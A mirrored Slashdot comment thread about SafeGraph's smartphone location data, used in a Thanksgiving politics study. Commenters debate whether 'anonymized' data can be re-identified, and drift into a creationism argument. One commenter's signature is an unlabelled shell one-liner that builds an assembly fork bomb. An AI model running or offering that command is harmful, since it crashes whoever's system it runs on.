Slashdot Mirror
Why is this Company Tracking Where You Are on Thanksgiving? (theoutline.com)
Earlier this week, several publications published a holiday-themed data study about how families that voted for opposite parties spent less time together on Thanksgiving, especially in areas that saw heavy political advertising. The data came from a company called SafeGraph that supplied publications with 17 trillion location markets for 10 million smartphones. A report looks at the bigger picture: The data wasn't just staggering in sheer quantity. It also appears to be extremely granular. Researchers "used this data to identify individuals' home locations, which they defined as the places people were most often located between the hours of 1 and 4 a.m.," wrote The Washington Post. The researchers also looked at where people were between 1 p.m. and 5 p.m. on Thanksgiving Day in order to see if they spent that time at home or traveled, presumably to be with friends or family. "Even better, the cellphone data shows you exactly when those travelers arrived at a Thanksgiving location and when they left," the Post story says. To be clear: This means SafeGraph is looking at an individual device and tracking where its owner is going throughout their day. A common defense from companies that creepily collect massive amounts of data is that the data is only analyzed in aggregate; for example, Google's database BigQuery, which allows organizations to upload big data sets and then query them quickly, promises that all its public data sets are "fully anonymized" and "contain no personally-identifying information." In multiple press releases from SafeGraph's partners, the company's location data is referred to as "anonymized," but in this case they seem to be interpreting the concept of anonymity quite liberally given the specificity of the data.
Does the headline refer to Google or to Facebook?
#DeleteChrome
I firewall every app, including google apps on my phone using the free firewall NetGuard. I also have data turned off and data limits set to zero. I also keep my phone in airplane mode, although that would be impractical for most people. This assures that I am never tracked by google, our Nazi snooping government, etc.
All these claims surfacing about Hollywood and Politicians having inappropriate relations with women from 20 years ago. Imagine the amount of blackmail dirt they will have in the next 20 years. Everything you do, say, and part of how you think (at least online) is being tracked and saved. It may not come back to haunt you but get rich, famous, or powerful enough and you might just find yourself writing checks to people to keep quite because you left your phone on when you went to a location that becomes unpopular 20 years in the future.
Tovarishch, all this talk of Russian interference is absurd.
Does this tea taste like polonium to you?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"Why is this Company Tracking Where You Are on Thanksgiving?"
Shitty privacy laws from shitty paid-for public "servants". Anything else is a distraction from that issue.
Populus vult decipi, ergo decipiatur...
"Force shits upon Reason's back." - Poor Richard's Almanac
It's not just Thanksgiving, that was just an interesting data point -- like all of the other ones...
If you don't have the data, you can't scan it. But if you do, you can squeeze the data so hard that a 0 becomes a 1.
If the universe is someone's simulation -- does that mean the stars are just stuck pixels?
When they drill down to see more "granular data" on me they find that the rabbit hole goes deep indeed. =)
Why did the chicken cross the road? Because Elon Musk put an AI chip in its head.
From the OP:
"A common defense from companies that creepily collect massive amounts of data is that the data is only analyzed in aggregate; for example, Google's database BigQuery, which allows organizations to upload big data sets and then query them quickly, promises that all its public data sets are 'fully anonymized' and 'contain no personally-identifying information.' "
I think it is critically important that we [as the data subjects ] recognise an important distinction.
This statement would be equally true if the company:-
1. Collected all the data with maximum resolution
2. Stored that data in a maximum resolution data set
3. Created a transformation process that took the maximum resolution data, "anonymized it" as it was loaded into a queryable database
4. Ran queries of the database...
The point being that the wording is so specious and so perfect for leading you to jump to the wrong conclusion. In other words, unless the company actually comes out with, "We do not store or otherwise retain access to your data in original or non-anonymized form - and you can come audit us so we can prove it to you", then they are not to be trusted.
And remember, anything that is captured - even if not used as part of the company's commercial offering - can be subpoenad or demanded via NSL.
And if your company is doing something that is right on the edge of being shut down by i.e. privacy laws, then maybe one way of staying just inside the line of acceptability [to government] is to offer to share what you've got if they ask...
None of this is safe. None of it.
People tend to hang out with those that are like minded. I'm sure many KKK members in Alabama feel the same way about black people. In fact, one of the core methods of fighting ignorance is integration. Get out and meet a creationist and learn something about the world you live in. Who knows, maybe you will find they arnt just simple stupid people like you think and they may find that you arnt the spawn of Satan like they think.
If you have nothing to hide why are you so concerned about us having all these details about you?
Having nothing to hide doesn't make all of my information public by default
In other news researchers also said that 65.237 percent of moms wished that their children away at college would call home more often. For children whose names begin with B, the percentage of mothers who want their children to call home is 71.237. For moms whose first name begins with L, the percentage is 73.543. The researches assured us that the data is anonymized.
Neither you nor anyone you know has ever been bullied or harassed in your entire life? Nothing you own has ever been vandalized or stolen? Just for a few minutes, as a thought experiment, imagine if you weren't so lucky and/or oblivious to your surroundings.
Anonymous doesn't mean that I can't track you from your house to your work. It's that I don't know who you are when you get to either destinations. We build an incredible database of information about anonymous people, unfortunately with enough information we can often de-anonymise them.
Same with Bitcoin being anonymous. Just because I know exactly how much money is in your wallet and exactly where you spend it doesn't make it less anonymous.
Get out and meet a creationist and learn something about the world you live in.
Like Jane Goodall?
Who knows, maybe you will find they arnt just simple stupid people like you think and they may find that you arnt the spawn of Satan like they think.
Not all Creationists are stupid; I'm convinced that intelligent people existed even before Darwin. And there is a wide range of specific beliefs among people who call themselves Creationists. But that doesn't stop me from lumping them in with the people who say the earth isn't heating up or that vaccines cause autism. Some intelligent people believe some stupid shit.
He's getting rather old, but he's a good mouse.
to safegraph. If the data is say held by Google and they allow only certain aggregate queries to be done but never give you anything but the aggregate answer then Safegraph won't know what happened in individual houses. This gets very tricky though. You have to have some thresholds about how small an area you can give a report on.
For example - The Canadian credit bureaus will sell reports based on postal code (a postal code is a side of a street, between intersections), that give the high, low and median score. Now if there were under a certain number of people in that postal code we didn't give the information (This was a decision made by the programmers, legally the company could) but what about the case where the high and the low score were almost the same? In such a case, revealing the high and the low essentially revealed everyone's score.
They just asked Google.
Sent as ripples into the electromagnetic field. No single photon has been harmed in the process.
I don't know about you, but I have a lot of valuable things I want to keep hidden from thieves. Not every thing people want to keep hidden is a bad thing.
The author of the article might want to learn what words mean. They do typically have meanings, you know.
Anonymous data is data not identified with a particular person. It does not mean cannot be identified with a particular person. It also does not mean the data cannot be associated with itself over time.
Five-digit ZIP code areas are pretty big and are not particularly indicative of an individual. Cell tower coverage is typically more detailed than a five-digit ZIP code. ZIP code of residence is trivial to determine from mobile phone records: it’s where your phone spends the majority of the day. ZIP code of work place is also fairly easy to determine: it’s where your phone spends the majority of the day when it’s not at home. Associate these two ZIP codes, though, and the association is unique for about 90 to 95% of the US population. Therefore knowing these two ZIP codes means you have isolated an individual. All anonymity means is that this information, by itself, does not tell you who that individual is. You can find out, though, with a subpoena, not even a warrant—or a friendly employee of the wireless carrier—or if you have someone specific in mind and you know or can find out where they live and work.
It is useful to consider how powerful location data is. A phone goes to a cancer clinic twice a week but not five times a week in 8-hour blocks? The phone owner has cancer. A phone goes to an ob-gyn twice in a single month? The phone owner is pregnant. A phone goes to an ob-gyn once a month for three months running? The phone owner is trying to get pregnant. A phone goes to a particular church most Sunday mornings? The phone owner belongs to the denomination of that church. Two phones are sporadically at the same motel at the same time (even if the particular motel changes)? The phone owners are having an affair. And on and on it goes.
Because de-anonymizing data is so trivial, having access only to anonymous or anonymized data protects against absolutely nothing.
And yet in this particular story, anonymity was retained. You can identify households from individual location data alone, which the study did. You can identify likely political leanings from individual location data alone, which the study did. You don’t need to attach names to the individuals to study the individuals, and this study did not.
Anonymity does not mean you as an individual cannot be identified. It just means you haven’t been—yet.
It defines "home" as where I am most often from 1 - 4am?? That's just crazy talk ...
"Ahh! I see you're in that indeterminate Schrodinger state where - oh, uh
Anonymous = without names. Location, dates, homes, family connections, and times of day aren't names.
Congrats on shitty laws.
Anonymity does not mean you as an individual cannot be identified. It just means you haven't been - yet.
Excellent post, but I think you err on the side of too much optimism. Anonymity doesn't mean you haven't been identified yet; it means you have not been told you were identified yet.
Having something to hide doesn't make it private either :)
...gis sdrawkcab (usually not responding to ACs; don't bother posting as AC)
Send you phone to another country, round trip.
Money.
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
I'd like some more justification for "90-95% of the population will make up a unique (home,work) ZIP pair." (paraphrased)
If we assume the estimated 330M population of the US, and *around* 43k ZIP codes, that 76% of the population is adult, and the relatively crazy assumption that ALL of them are working, let's do some combinatorics...
Yes, there exists sufficient space in Binomial[43001,2] (Mathematica/Wolfram Alpha notation) to *permit* every adult to have a unique pair. The estimate gives 251M adults and about 925M k-multicombinations (43000 pick 2, with repetition permitted) of (ZIP,ZIP) pairs.
Lots of people live and work in the same ZIP, though, especially among non-white-collar jobs, or live and work in the one or two residential ZIP codes and commercial ZIP codes in smaller areas.
That said, I'm not claiming it's not easy-ish to take "anonymous" data and reattach it to a person. It's all too easy.
How do they avoid tracking in countries where privacy laws are more strict? It seems to me that the data they collect does not conform to European privacy laws.
About the first google hit refers to the study. See https://books.google.com/books...
But that doesn't stop me from lumping them in with the people who say the earth isn't heating up or that vaccines cause autism.
You know, there is a significant difference between beliefs in things that cannot ever be proven or disproven and things that can be.
Creationism deals with something that can never be proven. It isn't supposed to be the same as "evolution", but many evolutionists confuse evolution with "how life began". Evolution as "changes over time" have been observed; there is little doubt it exists. How life originated cannot be observed.
Science is not intended to deal with answering questions of how something in the past actually happened, only with proposed mechanisms whereby it could have. A pretty simple example of this is demonstrated by a perfect copy of a Monet. All the scientific methods in the world could not prove that the forgery was painted last month, if the copy is perfect. Science cannot say "this was painted by Monet", it can only say that based on all the measurements it cannot be proven in was not painted by him. It is a matter of faith to believe that science must be able to detect the forgery, thus if it cannot detect it as a forgery it must be real.
Whether vaccines cause autism is a hypothesis that can be tested via the scientific method -- which we just discussed here in /.. The mean temperature of the planet is a measurement that we can make. The biggest problem is making the measurement correctly and dealing with the large areas where the measurements have to be indirect, but it's still a measurement.
Some intelligent people believe some stupid shit.
Yes, yes they do. But I think I see that statement in a different context than you do.
Since I work until 2 AM, I must have been in the office, and I do have several female co-workers, none of which are my wife. It's an open space office so... does it count as "one room"?
...gis sdrawkcab (usually not responding to ACs; don't bother posting as AC)
Creationism deals with something that can never be proven. It isn't supposed to be the same as "evolution", but many evolutionists confuse evolution with "how life began". Evolution as "changes over time" have been observed; there is little doubt it exists. How life originated cannot be observed.
When I hear "Creationist", I infer the emergence of Man, not the emergence of life. Many Creationists believe that the two are equivalent. No argument from me that the origin of life is a mystery. But the origin of Man was a different event and we have pretty good observable evidence that it wasn't spontaneous.
He's getting rather old, but he's a good mouse.
When I hear "Creationist", I infer the emergence of Man, not the emergence of life.
"Creationist" is the belief that God created the universe, including the Earth, Man, and all of the animal and plant life here. It isn't limited to just "Man". When you talk about putting Creationists in the same barrel as others, you have to use their definition of their label, because that's the definition that they use.
In any case, the argument is the same. The "emergence of Man" is a fact that science cannot prove. It can propose theories, but there is no way to prove which one is right, if any.
No argument from me that the origin of life is a mystery. But the origin of Man was a different event
Then you do not understand what Evolution claims or how it is supposed to work. The "origin of Man" is just an incremental difference in the chain of incremental changes that leads from "single cell" to the present day. In Evolution, man came about in the very same way that the aardvark did, and the duckbill platypus, etc. We're just a continuously changing version of one kind of animal that scientists want to identify as "human", with a pretty arbitrary starting date and an as-of-yet undefined end. Some day scientists will decide we have evolved into a different thing, and they will have the benefit of the historical record that recent Man has recorded for him, so they will be able to say "this is how Man Version 2 came to be. Today's Man Version 1 can't do that -- the historical record starts well into his existence.
and we have pretty good observable evidence that it wasn't spontaneous.
No, you don't. You see certain fossil records and assume that you know facts about them. You then use those facts to lead to other facts. Those facts wind up proving that Man got here via evolution, after the first cells got here via evolution, and so on. You did not observe the event, which is what it would take for science to prove the event.
Until you understand that science cannot prove that the painting you have hanging on your wall is a real Monet, only that it is not, then you cannot understand why your "observed evidence" cannot prove that a specific event took place. Just as the forger of your perfect copy was able to create the "evidence" that makes his copy look real, it is possible that the "evidence" that you rely on to prove the origin of Man was fabricated to give you that impression. That latter fact is why science cannot prove how a specific event took place unless that event was observed. Creationism falls into category. Evolution as the process of slow change over time is not.
What I forgot to add last time is that while "global warming" or "climate change" is a measurement (observation), the reason why it is happening is a theory and falls into the scientific method.
I applied a label that is popularly claimed, 'Creationist', to a subset of my own definition. That was unfair, inadequately clarified, and confusing.
When I said that the emergence of Man wasn't spontaneous, what I meant was that we're pretty sure it was gradual.
In any case, the argument is the same. The "emergence of Man" is a fact that science cannot prove. It can propose theories, but there is no way to prove which one is right, if any.
We can make a pretty damned good guess.
He's getting rather old, but he's a good mouse.
You have cancer? We were about to hire you, but we don't want you contaminating our health insurance pool.
"I'm so moist I'm sticking to the leather." -Kermit the Frog on The Late Late Show
When I said that the emergence of Man wasn't spontaneous, what I meant was that we're pretty sure it was gradual.
What does "pretty sure" mean? If it is anything other than "it's the best hypothesis that we can test against", then it's too strong a phrase. We simply do not know.
We can make a pretty damned good guess.
Which is nothing close to proof, and miles from "know". It's a belief based on facts that are not known -- which is a pretty good definition of religion. It's like having faith that the Monet on your wall is real based on lack of ability to prove it isn't.
Sure, data is anonymized, but it still contains the location where you sleep and where you work (the later being just what is missing to sort out people living in the same building)
If I had cancer I would stop giving a shit about working or anything else and live the small rest of my life peacefully, doing what I want to do for a change. Must be my chronic depression saying that, but I indeed like the idea.
...gis sdrawkcab (usually not responding to ACs; don't bother posting as AC)